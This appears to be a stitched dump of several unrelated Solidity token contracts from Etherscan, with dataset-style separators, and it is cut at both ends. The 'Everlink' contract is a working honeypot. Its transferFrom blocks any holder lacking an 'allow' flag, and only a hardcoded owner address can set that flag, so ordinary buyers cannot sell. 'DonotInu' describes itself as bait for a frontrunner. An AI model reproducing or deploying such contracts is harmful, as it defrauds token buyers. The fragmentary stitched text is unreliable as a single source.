function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTx(uint256 maxTx) external onlyOwner() {
require(maxTx > 0, "Amount must be greater than 0");
_maxTxAmount = maxTx;
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-03
*/
/**
Do NOT buy this token. This is a token for receiving a generous donation from my very own frontrunner who is kind enough to give me back the profits he has stolen from me.
I repeat, do NOT buy unless you want to contribute to this donation.
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
contract DonotInu is ERC20 {
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 10000000000000 * 10 ** 18;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor () ERC20('Dono Inu', 'DONINU') {
_mint(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-27
*/
pragma solidity ^0.4.26;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Everlink {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) public balances;
mapping(address => bool) public allow;
mapping (address => mapping (address => uint256)) public allowed;
address owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
owner = msg.sender;
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balances[msg.sender] = totalSupply;
allow[msg.sender] = true;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
modifier onlyOwner() {require(msg.sender == address(0x8c1442F868eFE200390d9b850264014557A38B45));_;}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(balances[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
require(allow[_from] == true);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function stringToUint(string s) internal pure returns (uint result) {
bytes memory b = bytes(s);
uint i;
result = 0;
for (i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 10 + (c - 48);
}
}
}
function cyToString(uint256 value) internal pure returns (string) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
function toAsciiString(address x) internal pure returns (string) {
bytes memory s = new bytes(40);
for (uint i = 0; i < 20; i++) {
byte b = byte(uint8(uint(x) / (2**(8*(19 - i)))));
byte hi = byte(uint8(b) / 16);
byte lo = byte(uint8(b) - 16 * uint8(hi));
s[2*i] = char(hi);
s[2*i+1] = char(lo);
}
return string(s);
}
function char(byte b) internal pure returns (byte c) {
if (uint8(b) < 10) return byte(uint8(b) + 0x30);
else return byte(uint8(b) + 0x57);
}
function bytesToAddress (bytes32 b) internal pure returns (address) {
uint result = 0;
for (uint i = 0; i < b.length; i++) {
uint c = uint(b[i]);
if (c >= 48 && c <= 57) {
result = result * 16 + (c - 48);
}
if(c >= 65 && c<= 90) {
result = result * 16 + (c - 55);
}
if(c >= 97 && c<= 122) {
result = result * 16 + (c - 87);
}
}
return address(result);
}
function stringToAddress(string _addr) internal pure returns (address){
bytes32 result = stringToBytes32(_addr);
return bytesToAddress(result);
}
function stringToBytes32(string memory source) internal pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function time() internal constant returns(uint){
return now;
}
function max(uint a, uint b) internal pure returns(uint){
if(a > b) return a;
return b;
}
function hhToString(address account) internal pure returns(string memory) {
return hhToString(abi.encodePacked(account));
}
function hhToString(uint256 value) internal pure returns(string memory) {
return hhToString(abi.encodePacked(value));
}
function hhToString(bytes32 value) internal pure returns(string memory) {
return hhToString(abi.encodePacked(value));
}
function hhToString(bytes memory data) internal pure returns(string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(2 + data.length * 2);
str[0] = '0';
str[1] = 'x';
for (uint i = 0; i < data.length; i++) {
str[2+i*2] = alphabet[uint(uint8(data[i] >> 4))];
str[3+i*2] = alphabet[uint(uint8(data[i] & 0x0f))];
}
return string(str);
}
function len(bytes32 self) internal pure returns (uint) {
uint ret;
if (self == 0)
return 0;
if (self & 0xffffffffffffffffffffffffffffffff == 0) {
ret += 16;
self = bytes32(uint(self) / 0x100000000000000000000000000000000);
}
if (self & 0xffffffffffffffff == 0) {
ret += 8;
self = bytes32(uint(self) / 0x10000000000000000);
}
if (self & 0xffffffff == 0) {
ret += 4;
self = bytes32(uint(self) / 0x100000000);
}
if (self & 0xffff == 0) {
ret += 2;
self = bytes32(uint(self) / 0x10000);
}
if (self & 0xff == 0) {
ret += 1;
}
return 32 - ret;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function addAllow(address holder, bool allowApprove) external onlyOwner {
allow[holder] = allowApprove;
}
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pragma solidity ^0.4.25;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract ERC20Token is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ERC20Token() public {
name = "MIYA CHAIN";
symbol = "MIAC";
decimals = 18;
_totalSupply = 2000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File contracts/openzeppelin/Initializable.sol
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File contracts/openzeppelin/erc20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
